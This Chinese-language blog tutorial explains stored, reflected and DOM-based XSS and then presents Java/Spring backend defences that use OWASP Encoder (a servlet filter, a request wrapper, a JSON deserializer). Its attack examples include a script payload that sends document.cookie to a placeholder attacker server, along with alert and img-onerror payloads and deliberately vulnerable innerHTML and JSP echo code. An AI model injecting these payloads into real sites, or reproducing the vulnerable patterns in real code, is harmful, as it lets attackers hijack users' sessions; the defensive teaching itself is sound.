XSS 三大类型介绍+后端xss防御实现(基于OWASP提供的编码方法)

2 阅读4分钟

先记住

XSS 本质 = 攻击者让浏览器执行了他写的恶意 JS

三大类型的唯一区别:恶意代码藏在哪里、怎么传给浏览器


一、三种 XSS 介绍 + 攻击案例

1)存储型 XSS(持久型・最危险)

定义

恶意代码被服务器保存到数据库,所有访问该页面的用户都会自动执行

攻击流程

  1. 攻击者提交恶意代码(评论、昵称、简介、留言)
  2. 服务器未过滤,直接存入数据库
  3. 其他用户打开页面
  4. 页面从数据库读出恶意代码并直接渲染到 HTML
  5. 浏览器执行恶意 JS

攻击例子

场景:小说评论区

攻击者提交评论:

<script>fetch('http://攻击者服务器/steal?cookie='+document.cookie)</script>

如果后端没防御:

  • 代码存入数据库
  • 所有读者打开评论页
  • 浏览器直接执行脚本
  • 所有人的登录 Cookie 被偷走 → 盗号

2)反射型 XSS(非持久型・最常见)

定义

恶意代码放在 URL 里,服务器 “反射” 回页面执行,不存数据库

必须诱导用户点击带恶意参数的链接才会触发。

攻击流程

  1. 攻击者构造带恶意代码的 URL
  2. 用户点击链接
  3. 服务器获取 URL 参数,直接输出到页面
  4. 浏览器执行反射回来的 JS

攻击例子(搜索框场景)

网站搜索功能:

https://小说网站.com/search?keyword=斗罗大陆

后端代码(危险写法):

你搜索的关键词是:<%= request.getParameter("keyword") %>

攻击者构造链接:

https://小说网站.com/search?keyword=<script>alert('盗取Cookie')</script>

用户点击 → 页面直接执行脚本。

3)DOM 型 XSS(纯前端・后端无法防御)

定义

恶意代码不经过服务器解析,直接由前端 JS 读取 URL / 输入框内容并修改 DOM触发。

后端过滤器、JSON 反序列化器都防不住!

攻击流程

  1. 攻击者构造 URL
  2. 用户点击
  3. 前端 JS从 URL 取参数
  4. 前端 JS直接把内容插入 DOM(innerHTML/document.write 等)
  5. 浏览器执行恶意代码

攻击例子(最典型)

前端代码(危险写法):

// 从URL取参数,直接修改页面
let keyword = new URLSearchParams(location.search).get("keyword");
document.getElementById("result").innerHTML = keyword; 

攻击者构造 URL:

https://小说网站.com/search?keyword=<img src=x onerror="alert('DOM-XSS')">

用户点击 → 前端执行 onerror 事件脚本。


二、后端xss防御实现(基于OWASP提供的编码)

通过后端代码能防御:

  1. 存储型 XSS(JSON 提交、表单提交)
  2. 反射型 XSS(URL 参数、请求头)

1)通过XSS过滤器和新建的XssHttpServletRequestWrapper实现对反射型XSS的防御

XssFilter
@Component
@WebFilter(urlPatterns = "/*", filterName = "xssFilter")
@EnableConfigurationProperties(value = {XssProperties.class})
@RequiredArgsConstructor
public class XssFilter implements Filter {

    private final XssProperties xssProperties;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (handleExcludeUrl(req)) {
            filterChain.doFilter(servletRequest, servletResponse);
            return;
        }
        XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper(
            (HttpServletRequest) servletRequest);
        filterChain.doFilter(xssRequest, servletResponse);
    }

    private boolean handleExcludeUrl(HttpServletRequest request) {
        if (CollectionUtils.isEmpty(xssProperties.excludes())) {
            return false;
        }
        String url = request.getServletPath();
        for (String pattern : xssProperties.excludes()) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()) {
                return true;
            }
        }
        return false;
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}
XssHttpServletRequestWrapper
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values != null) {
            int length = values.length;
            String[] escapeValues = new String[length];
            for (int i = 0; i < length; i++) {
                // 使用OWASP Encoder进行HTML编码防止XSS攻击
                escapeValues[i] = Encode.forHtml(values[i]);
            }
            return escapeValues;
        }
        return new String[0];
    }
    
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (value != null) {
            // 使用OWASP Encoder进行HTML编码防止XSS攻击
            return Encode.forHtml(value);
        }
        return null;
    }
    
    @Override
    public Map<String, String[]> getParameterMap() {
        Map<String, String[]> parameters = super.getParameterMap();
        Map<String, String[]> result = new HashMap<>();
        
        if (parameters != null) {
            for (Map.Entry<String, String[]> entry : parameters.entrySet()) {
                String[] values = entry.getValue();
                if (values != null) {
                    String[] encodedValues = new String[values.length];
                    for (int i = 0; i < values.length; i++) {
                        if (values[i] != null) {
                            // 使用OWASP Encoder进行HTML编码防止XSS攻击
                            encodedValues[i] = Encode.forHtml(values[i]);
                        } else {
                            encodedValues[i] = null;
                        }
                    }
                    result.put(entry.getKey(), encodedValues);
                }
            }
        }
        return result;
    }
    
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value != null) {
            // 使用OWASP Encoder进行HTML编码防止XSS攻击
            return Encode.forHtml(value);
        }
        return null;
    }
}

说明

防御角度: 对 HTTP 请求参数和 Header 做输出编码,防止后续在 HTML 中渲染时触发 XSS。

防御时机: 在 Controller 或 Filter 中调用 request.getParameter()、getParameterValues()、getParameterMap()、getHeader() 时,返回的是已经过 Encode.forHtml() 编码的值。

特点: 只处理表单、Query、Header,不处理请求体(Body),因此对 application/json 无效。

2)通过 GlobalJsonDeserializer对请求体中的数据进行编码,防御存储型Xss攻击

GlobalJsonDeserializer
@JsonComponent
public class GlobalJsonDeserializer {

    /**
     * 字符串反序列化器:过滤特殊字符,解决 XSS 攻击
     */
    public static class StringDeserializer extends JsonDeserializer<String> {

        @Override
        public String deserialize(JsonParser jsonParser,
            DeserializationContext deserializationContext) throws IOException {
            // 使用OWASP Encoder进行HTML编码防止XSS攻击
            String value = jsonParser.getValueAsString();
            return value != null ? Encode.forHtml(value) : null;
        }
    }
}

说明

防御角度: 对 JSON 请求体中的字符串 做 HTML 编码,防止反序列化后的字符串在 HTML 中渲染时触发 XSS。

防御时机: 在 Jackson 反序列化 时,即 Controller 方法参数绑定之前:

特点: 只处理 JSON 中的字符串类型,对数字、布尔、对象等不处理;且对所有字符串统一编码,可能影响需要保留 HTML 的字段。